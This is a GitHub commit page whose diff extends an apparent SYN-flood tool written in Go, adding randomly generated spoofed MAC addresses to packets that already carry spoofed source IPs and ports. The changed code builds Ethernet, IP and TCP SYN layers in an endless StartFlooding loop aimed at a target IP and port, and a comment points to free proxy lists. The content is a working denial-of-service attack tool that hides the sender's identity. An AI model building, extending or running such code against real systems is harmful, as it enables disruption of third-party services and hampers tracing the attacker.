Skip to content

Commit

Permalink
fixes #5: mac spoofed
Browse files Browse the repository at this point in the history
  • Loading branch information
bilalcaliskan committed Apr 18, 2021
1 parent ebacdbd commit 8e6f083
Show file tree
Hide file tree
Showing 2 changed files with 30 additions and 2 deletions.
14 changes: 12 additions & 2 deletions pkg/raw/raw.go
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,7 @@ func StartFlooding(dstIpStr string, dstPort, payloadLength int) {
payload := getRandomPayload(payloadLength)
srcIps := getIps()
srcPorts := getPorts()
macAddrs := getMacAddrs()

for {
// !!! https://www.devdungeon.com/content/packet-capture-injection-and-analysis-gopacket
Expand All @@ -47,7 +48,9 @@ func StartFlooding(dstIpStr string, dstPort, payloadLength int) {
// free proxies -> https://www.sslproxies.org/

ipPacket := buildIpPacket(srcIps[rand.Intn(len(srcIps))], dstIpStr)
tcpPacket := buildTcpPacket(int(srcPorts[rand.Intn(len(srcPorts))]), dstPort)
tcpPacket := buildTcpPacket(srcPorts[rand.Intn(len(srcPorts))], dstPort)
ethernetLayer := buildEthernetPacket(macAddrs[rand.Intn(len(macAddrs))], macAddrs[rand.Intn(len(macAddrs))])

err := tcpPacket.SetNetworkLayerForChecksum(ipPacket)
if err != nil {
panic(err)
Expand All @@ -72,7 +75,7 @@ func StartFlooding(dstIpStr string, dstPort, payloadLength int) {
}
tcpPayloadBuf := gopacket.NewSerializeBuffer()
payload := gopacket.Payload(payload)
err = gopacket.SerializeLayers(tcpPayloadBuf, opts, tcpPacket, payload)
err = gopacket.SerializeLayers(tcpPayloadBuf, opts, ethernetLayer, tcpPacket, payload)
if err != nil {
panic(err)
}
Expand Down Expand Up @@ -133,4 +136,11 @@ func buildTcpPacket(srcPort, dstPort int) *layers.TCP {
SYN: true,
ACK: false,
}
}

func buildEthernetPacket(srcMac, dstMac []byte) *layers.Ethernet {
return &layers.Ethernet{
SrcMAC: net.HardwareAddr{srcMac[0], srcMac[1], srcMac[2], srcMac[3], srcMac[4], srcMac[5]},
DstMAC: net.HardwareAddr{dstMac[0], dstMac[1], dstMac[2], dstMac[3], dstMac[4], dstMac[5]},
}
}
18 changes: 18 additions & 0 deletions pkg/raw/utils.go
Original file line number Diff line number Diff line change
Expand Up @@ -28,4 +28,22 @@ func getPorts() []int {
}

return ports
}

func getMacAddrs() [][]byte {
macAddrs := make([][]byte, 0)
for i := 0; i <= 50; i++ {
buf := make([]byte, 6)
_, err := rand.Read(buf)
if err != nil {
fmt.Println("error:", err)
continue
}
macAddrs = append(macAddrs, buf)

//macAddrs = append(macAddrs, fmt.Sprintf("%02x:%02x:%02x:%02x:%02x:%02x", buf[0], buf[1], buf[2], buf[3],
// buf[4], buf[5], buf[6], buf[7]))
}

return macAddrs
}

0 comments on commit 8e6f083

Please sign in to comment.